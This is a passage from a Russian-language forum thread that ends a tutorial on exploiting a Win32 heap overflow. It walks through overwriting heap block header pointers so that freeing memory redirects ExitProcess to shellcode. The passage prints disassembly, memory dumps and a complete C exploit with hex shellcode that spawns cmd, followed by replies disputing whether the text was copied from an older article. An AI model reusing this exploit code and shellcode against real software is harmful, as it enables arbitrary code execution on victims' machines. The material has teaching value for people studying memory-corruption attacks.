структуры заголовка блока написать адрес функции ExitProcess(), а в следующие 4 байта записать ад- рес, где хранится шеллкод. Но не стоит торопиться...предлагаю рассмотреть сле- дующую строку, которая осталась: PHP: pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; 1072: pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; 00401E73 8B 45 FC mov eax,dword ptr [pHead] 00401E76 8B 48 04 mov ecx,dword ptr [eax+4] 00401E79 8B 55 FC mov edx,dword ptr [pHead] 00401E7C 8B 02 mov eax,dword ptr [edx] 00401E7E 89 01 mov dword ptr [ecx],eax Как видно, тут мы тоже контролируем ecx & eax. НО! Следует уделить этому куску должное внимание! 00401E73 8B 45 FC mov eax,dword ptr [pHead] 00401E76 8B 48 04 mov ecx,dword ptr [eax+4] ---------------------[в ecx будет значение адреса 0х00430134 (адрес шеллкода)] 00401E79 8B 55 FC mov edx,dword ptr [pHead] 00401E7C 8B 02 mov eax,dword ptr [edx] ---------------------[а здесь(в eax) будет значение адреса 0х00430130] ---------------------[(т.е. адрес ExitProcess())] 00401E7E 89 01 mov dword ptr [ecx],eax ---------------------[ну а тут, собственно первые 4 байта нашего] ---------------------[шеллкода перепишутся на 0х00430130] HTML: Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыж- ке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти ин- струкции ничего не испортили. Как это можно сделать? Очень просто - добавить дополнительные инструкции в начало, чтобы при интерференции картина не измени- лась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал! маленькие нюан- сы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём пути другие данные, которые используются функцией __sbh_free_block при непос- редственном освобождении: PHP: .....:-[disassembled]-:................ ' 004300DA 00 00 ... CD CD ..............(...ээээННННННННННННН 004300FD CD CD ... 00 00 НННННННННННННННННээээ......Q...'... 00430120 88 49 ... CD CD .I2.Р.C.........d.......'...ээээННН ' .....:-[end of disassembled]-:......... HTML: очень важно сконструировать замену этим байтам "91 00 00 00", которые являются sizeFront'ом, иначе на этом участке программа выдаст ошибку т.к. sizeFront есть ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01, то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда при своится указателю pNext при наличии вот такого громадного смещения! Чтобы избе- жать этой трудности...достаточно записать вместо этих 4байт маленькую величину, такую как 0хffffffff :). Вот и всё! Проблема решена! PHP: Окончательный вариант получается таков (эксплоит): /* Heap Overflow exploit example for Win32 */ #include <windows.h> #include <stdio.h> char shellcode[] = "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x33\xD2" "\x52" "\x68\x6C\x6C\x20\x20" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xFF\xD1" "\x52" "\x68\x20\x63\x6D\x64" "\x54" "\xB9\x44\x80\xC1\x77" "\xFF\xD1" "\x52" "\xB9\xDC\x7A\xC2\x77" "\xFF\xD1"; int main() { char *a; char *b; a=(char *)malloc(100); b=(char *)malloc(30); printf("%p\n",shellcode); char arg[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30) "\xfd\xfd\xfd\xfd" "\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" //important data "\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess() "\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode ; memcpy(b,&arg,sizeof(arg)); free(a); ExitProcess(0); } HTML: Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно испо- льзовать! В случае с memcpy() нули не играют никакой роли, а вот, если исполь- зовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и где именно расположить шеллкод! ;) При написании использованы материалы статьи: Crazy Einstein (aka xCrZx) [email protected] 02.11.03 - прим. -=lebed=-
ну вроде рецензия Для начала хотелось бы привести ссылку на оригинал статьи написанной xCrZx аж в 2003 году _http://lbyte.void.ru/txt/win32/win32-exploiting-techniques.txt Она отличается от статьи ТС только разделом Intro и некоторыми незначительными изменениями которые Flame of Soul не привела видимо из скромности. Я в свою очередь хотел бы уточнить у автора 1.Если это копипаст то зачем удалять копирайты и почему в тексте не присутствует ни одного упоминания автора(xCrZx)? 2.Если ТС не претендует на авторство то зачем изменять оригинал статьи в часности писать INTRO от первого лица? Сравните: писать это: Этого текста нет у xCrZx и в связи с этим хотелось бы услышать ответ на вопрос если это мысли ТС то почему нет благодарностей xCrZx'у,и написано, что "на написание этой статьи",а не копирование, а если это текст xCrZx то почему его нет в оригинале статьи Да и вообще зачем переписывать часть текста своими словами?Статья помоему и так не плохая Допускаю так-же вариант,что Flame of Soul и xCrZx одно лицо, но тогда возникает вопрос: xCrZx зачем ты сменил пол?
это только первая часть ссори разные оригиналы лица разные, данная часть является только теорией, практическая будет через недели 2 справедливое замечание, в моем paperse этого нет, исправлю